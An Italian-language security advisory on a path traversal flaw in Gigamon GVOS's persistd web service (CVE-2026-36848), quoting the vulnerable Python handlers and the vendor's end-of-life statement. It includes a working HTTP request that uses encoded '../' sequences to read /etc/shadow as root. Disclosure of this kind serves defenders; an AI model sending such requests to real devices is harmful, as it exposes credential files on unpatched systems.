
Gigamon RCE non autenticata (CVE-2026-36848)
È stata identificata una vulnerabilità critica di path traversal nel motore di gestione basato sul web sulla porta 8089 dei dispositivi Gigamon-VUE OS (GVOS). Questo difetto esiste nel sottosistema legacy H-VUE all'interno del demone persistd e consente a un attaccante remoto non autenticato con accesso di rete al servizio di leggere file arbitrari ed eseguire operazioni di scrittura parziale (la sovrascrittura di file esistenti non è possibile) sul sistema con privilegi di root.
/opt/tms/persistd_py/persistd.pyroot)Il servizio web TornadoHTTP in esecuzione sulla porta 8089 implementa una configurazione di routing mappata all'interno di /opt/tms/persistd_py/persistd.py. Questo demone espone diverse route per gestire interazioni con il database e backup di configurazione:
app = tornado.web.Application([
(r"/upload(?:/([^/]*))/?", UploadDbFile),
(r"/download/([^/]+)/?", DownloadDbFile),
# ... altre route
])
I gestori DownloadDbFile e UploadDbFile consumano direttamente i percorsi forniti dall'utente dai gruppi di cattura delle regex URI e li passano senza filtri alle funzioni di utilità di livello inferiore.
Quando un client richiede il download di un file, il gestore GET invoca l'utilità download_file:
class DownloadDbFile(GenericApiHandler):
@gen.coroutine
def get(self, file_name):
# ... [passaggi di validazione saltati per chiarezza] ...
elif file_name is not None:
msgif = yield download_file(self, file_name)
La funzione target sottostante download_file tenta di aprire il file richiesto utilizzando una concatenazione ingenua di stringhe invece di risolvere un percorso canonico sicuro:
@gen.coroutine
def download_file(caller, file_name):
buf_size = 4096
caller.set_header('Content-Type', 'application/octet-stream')
caller.set_header('Content-Disposition', 'filename=' + file_name)
msg = 'ok'
try:
# Causa principale: la concatenazione diretta consente l'uscita dalla directory tramite sequenze di traversal
with open(DBFILE_DIR + file_name, 'r') as f:
while True:
data = f.read(buf_size)
if not data:
break
caller.write(data)
except IOError as ioe:
msg = ioe
raise gen.Return(msg)
Poiché non esiste alcun filtro di sanificazione (ad esempio, controllo per sequenze di traversal di directory come ..), qualsiasi sequenza di percorso relativo iniettata tramite file_name viene concatenata direttamente su DBFILE_DIR e risolta relativamente alla root del sistema.
Allo stesso modo, il gestore PUT utilizzato per il caricamento del database passa il corpo della richiesta e il percorso definito dall'utente direttamente all'utilità upload_file:
class UploadDbFile(GenericApiHandler):
@gen.coroutine
def put(self, path=None):
# ...
if path is not None:
msgif = yield upload_file(self.request.body, path)
La routine upload_file utilizza os.path.join per determinare il percorso di destinazione. Tuttavia, un equivoco comune sulla sicurezza è che os.path.join protegga dal traversal. In realtà, se un componente passato a os.path.join rappresenta un percorso assoluto o contiene passi di traversal relativi, il percorso risolto uscirà dalla directory base:
@gen.coroutine
def upload_file(body, path):
msg = 'ok'
tmp_path = None
try:
yield lock.acquire()
# Sink vulnerabile 1: os.path.join non neutralizza le sequenze di traversal delle directory
full_path = os.path.join(DBFILE_DIR, path)
if os.path.exists(full_path):
msg = 'dup'
else:
tmp_path = full_path + '.tmp'
old_files = filesInDir(DBFILE_DIR)
with open(tmp_path, 'wb') as out:
out.write(bytes(body))
# Sink vulnerabile 2: l'operazione di rinomina esegue una concatenazione di stringhe non sicura
os.rename(tmp_path, DBFILE_DIR + path)
Questa mancanza strutturale di sanificazione dell'input consente a un attaccante di fornire un percorso contenente passi di traversal, permettendo al servizio di scrivere file arbitrari al di fuori dei confini di DBFILE_DIR con i permessi del contesto dell'utente root che esegue il demone.
Se un attaccante codifica in URL i separatori di percorso (/ come %2F), il motore di routing decodifica e valuta la sequenza senza problemi, bypassando le restrizioni standard sui percorsi.
GET /download/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fshadow HTTP/1.1
Host: <target_ip>:8089
Accept: /
Di seguito sono riportate la dichiarazione ufficiale e le indicazioni di aggiornamento fornite dal fornitore riguardo a questa vulnerabilità:
Il problema in questa CVE era presente solo nel sottosistema H-VUE. La versione GVOS 6 ha rimosso completamente il sottosistema H-VUE, con GVOS 5.16.1 come ultima versione a incorporarlo. La versione 5.16.1 ha raggiunto la fine del supporto il 26 maggio 2023. Nessuna versione attualmente supportata di GVOS contiene questa vulnerabilità.
La matrice di supporto per GVOS, che documenta le versioni supportate e le date di fine supporto, è disponibile qui: https://www.gigamon.com/content/dam/customer-portal/MS-Software-Versions-7181.pdf
La politica di fine vendita e fine vita di Gigamon è disponibile qui: https://www.gigamon.com/support/policies/eol-policy.html
Nessun ambiente di produzione Gigamon dovrebbe eseguire una versione software non supportata (NIST SP 800-53 SA-22 "Unsupported System Components"). Se lo stai facendo, Gigamon consiglia vivamente di eseguire l'aggiornamento a una versione supportata il prima possibile. I clienti supportati possono ottenere versioni aggiornate di GVOS dal portale della community Gigamon. I clienti non supportati sono invitati a contattare Gigamon per discutere le opzioni di supporto: https://www.gigamon.com/contact-sales.html
Desideriamo esprimere la nostra gratitudine ai team di Product Security e Engineering di Gigamon per la loro esemplare coordinazione durante questo processo di divulgazione.